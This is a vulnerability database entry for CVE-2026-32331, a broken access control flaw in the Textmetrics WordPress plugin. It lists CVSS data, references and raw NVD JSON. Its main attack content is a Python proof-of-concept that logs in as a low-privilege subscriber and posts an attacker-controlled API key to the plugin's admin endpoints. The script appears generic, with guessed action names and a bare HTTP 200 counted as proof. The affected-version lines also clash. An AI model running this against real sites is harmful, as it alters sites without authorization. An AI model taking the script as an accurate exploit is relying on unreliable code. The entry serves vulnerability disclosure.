CVE-2026-32331

Description

Missing Authorization vulnerability in Israpil Textmetrics webtexttool allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Textmetrics: from n/a through <= 3.6.4.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Textmetrics Plugin < 3.6.4

WordPress Textmetrics Plugin <= 3.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-32331 PoC - Broken Access Control in Textmetrics Plugin
# Target: WordPress site with Textmetrics plugin <= 3.6.4

target_url = "http://target-wordpress-site.com"

# Step 1: Authenticate with low-privilege account (subscriber role)
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": "low_privilege_user",
    "pwd": "user_password",
    "wp-submit": "Log In"
}
session.post(login_url, data=login_data)

# Step 2: Exploit the missing authorization vulnerability
# Target the plugin's admin functionality without proper authorization check
exploit_endpoints = [
    f"{target_url}/wp-admin/admin-ajax.php",
    f"{target_url}/wp-admin/admin.php?page=webtexttool-settings"
]

for endpoint in exploit_endpoints:
    exploit_data = {
        "action": "webtexttool_ajax_action",
        "subaction": "update_settings",
        # Malicious payload to modify plugin settings
        "webtexttool_api_key": "attacker-controlled-key"
    }
    response = session.post(endpoint, data=exploit_data, timeout=10)
    if response.status_code == 200:
        print(f"[!] Potential vulnerability confirmed at {endpoint}")
        print(f"Response: {response.text[:200]}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32331
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32331
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32331/
[4] VulDB https://vuldb.com/cve/CVE-2026-32331
[5] https://patchstack.com/database/Wordpress/Plugin/webtexttool/vulnerability/wordpress-textmetrics-plugin-3-6-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32331", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:43.563", "lastModified": "2026-04-29T10:16:57.900", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Israpil Textmetrics webtexttool allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Textmetrics: from n/a through <= 3.6.4."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Israpil Textmetrics webtexttool permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Textmetrics: desde n/a hasta <= 3.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/webtexttool/vulnerability/wordpress-textmetrics-plugin-3-6-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}